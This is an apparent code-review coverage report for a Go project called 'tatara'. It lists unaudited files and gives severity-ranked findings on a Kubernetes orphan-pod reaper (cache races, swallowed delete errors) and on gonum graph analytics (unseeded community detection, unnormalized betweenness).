• /Users/szymonri/Documents/tatara/tatara-claude-code-wrapper/internal/webhook/webhook.go — turn-result callback delivery to operator (retry/backoff). No wrapper unit covers callback egress.
• /Users/szymonri/Documents/tatara/tatara-claude-code-wrapper/internal/pushclient/pushclient.go — pushes wrapper /metrics to the operator receiver (run_id keyed). Pairs with operator pushmetrics/receiver.go; same x-obs-sweep ambiguity.
• /Users/szymonri/Documents/tatara/tatara-claude-code-wrapper/internal/httpapi/api.go, internal.go, messages.go, session.go — the wrapper's public OIDC + loopback internal HTTP surfaces (submit-turn, interject, messages, session endpoints). The operator's counterpart (internal/agent/http.go) calls these; if wrap-session only read internal/session, the HTTP API layer is unaudited. Audit auth boundary between public vs loopback routes.

Notes on units that may or may not have absorbed these¶

• Per-repo internal/auth/*, internal/obs/*, internal/metrics, internal/version and the repeated cmd/<svc>/{app,config,health,serve}.go entrypoints (memory, chat) are presumed swept by op-crosscut / x-obs-sweep / chat-rest-obs / cli-cmd-auth. They are NOT listed above on the assumption those cross-cutting units covered them; if x-obs-sweep was metrics-only and the crosscut units were per-repo-scoped, the cmd/tatara-memory/{app,config,health,serve}.go and cmd/tatara-chat/{app,config,health,serve}.go bootstrap files would also be gaps.
• internal/contract/contract.go (ingester) and the operator/wrapper wire DTOs are presumed owned by x-contracts; flagged only if x-contracts was limited to memory-side types.

Highest-confidence gaps (own a distinct algorithm/concern no unit names)¶

1. tatara-operator/internal/controller/reaper.go — orphan-pod GC algorithm
2. tatara-operator/internal/pushmetrics/receiver.go + tatara-claude-code-wrapper/internal/pushclient/pushclient.go — the push-metrics protocol (TTL aging, run_id keying)
3. tatara-memory/internal/analytics/compute.go — the gonum graph-analytics math
4. tatara-memory-repo-ingester/cmd/tatara-ingest/run.go — ingest pipeline orchestration
5. tatara-claude-code-wrapper/cmd/cc-stop-hook/* — the Stop-hook binary
6. tatara-claude-code-wrapper/internal/httpapi/* and internal/webhook/webhook.go + internal/turn/* — wrapper HTTP API, callback egress, turn store

Gap-fill pass (coverage-critic follow-up)¶

Two genuinely-unlisted targets audited after the main pass.

tatara-operator internal/controller/reaper.go (orphan wrapper Pod/Service GC, 102 LOC)¶

• HIGH - reaper vs spawn race (reaper.go:74-82 + task_controller.go): keep/reap decision is purely instantaneous Status.Phase/LifecycleState. A pod just (re)created by ensurePodAndService/resetAgentRun, or one whose Task briefly shows terminal before a re-spawn, can be deleted on a stale-cache read; each wrongful delete burns maxPodRecreations budget and can terminate(..., "PodLost") a healthy Task. Fix: grace guard - never reap a pod with time.Since(pod.CreationTimestamp) < pollRequeue. (Empty-phase fresh-spawn case is actually safe; the dwell/re-spawn window is the real one.)
• HIGH - stale-cache "task absent" false-delete (reaper.go:66-72): both the pod List and Task Get go through the controller-runtime cache; cache skew can make a live Task IsNotFound -> deletes its live pod. Fix: APIReader (uncached) confirm before delete-on-NotFound, or the same creation grace guard.
• MEDIUM - no reap metric (reaper.go:88-102): CallbackServer.Metrics is available but reaps + reap-delete failures emit zero Prometheus signal (hard rule 13). Add OrphanReaped(reason) + ReapDeleteError(kind).
• MEDIUM - delete errors swallowed + INFO logged before delete (reaper.go:49-51,93-101): reapWrapper returns nothing; a non-NotFound delete failure is logged and dropped while the INFO "reaping orphan" line already claimed success. Fix: return success/err, log outcome after, no duration_ms.
• MEDIUM - unbounded per-tick pod List + per-pod Task Get fan-out (reaper.go:34-66): O(pods) cached Gets every 30s; build a TaskList map once instead.
• LOW - no ctx.Err() check between loop iterations (reaper.go:43-52): shutdown floods cancelled-ctx delete errors.
• LOW - terminal Task pod reaped with no drain grace (reaper.go:77-82): can SIGKILL a wrapper mid-final-flush; folded into the grace-guard fix.
• NIT x3: redundant label re-read in log field; Service-name==Pod-name invariant undocumented (silent Service leak if ever decoupled); transient-error-keeps-pod and unlabelled-keeps-pod branches untested.

tatara-memory internal/analytics/compute.go (gonum graph math, 132 LOC)¶

• HIGH - non-deterministic community detection (compute.go:77): community.Modularize(g, 1.0, nil) - gonum v0.17.0 uses the global non-seeded RNG when src==nil (NOT deterministic as the comment claims). Community IDs, membership, and the "first member name" fallback label (analytics_store.go:99-105) flap on every recompute, churning code_entities.community in the DB. Fix: pass rand.NewSource(<fixedSeed>) from golang.org/x/exp/rand; correct the false "deterministic" comments here + 3 spots in analytics_store.go.
• HIGH - betweenness persisted unnormalized (compute.go:80): network.Betweenness returns raw Brandes counts that scale with graph size, so code_entities.betweenness is not comparable across repos and god-node thresholds are size-dependent. Fix: normalize by (n-1)(n-2)/2 (guard n<3) or document raw intent.
• MEDIUM - directed edges folded to undirected, losing fan-in (compute.go:14-19,51): reciprocal A->B+B->A collapse; in-degree (the meaningful god-node signal) is discarded. Documented choice but the loss is undocumented.
• MEDIUM - hand-maintained degree map redundant with g.From(nid).Len() (compute.go:61-74): drop it (KISS, removes a desync class).
• MEDIUM - zero metrics/logging on an O(V*E) Brandes path (compute.go:46, analytics_store.go:36): hard rules 12/13 unmet; also N single-row UPDATEs in a loop. Add duration histogram, node/edge gauges, outcome counter, INFO with duration_ms.
• MEDIUM - no node/edge cap before Brandes (compute.go:46-80): large repo can pin CPU for minutes; bound it + metric on skip. (Compute is correctly outside the write tx - good.)
• LOW x3: cohesion O(n^2) HasEdgeBetween (use adjacency, O(E)); communities slice order nondeterministic via map range (sort before return); Betweenness zero-key reliance correct but undocumented.
• NIT x3: n*(n-1) int-before-float cast; false "deterministic" doc comments; dangling-edge silent drop unmetered. Empty/single/disconnected graph paths verified safe (no NaN/div0/panic) but untested.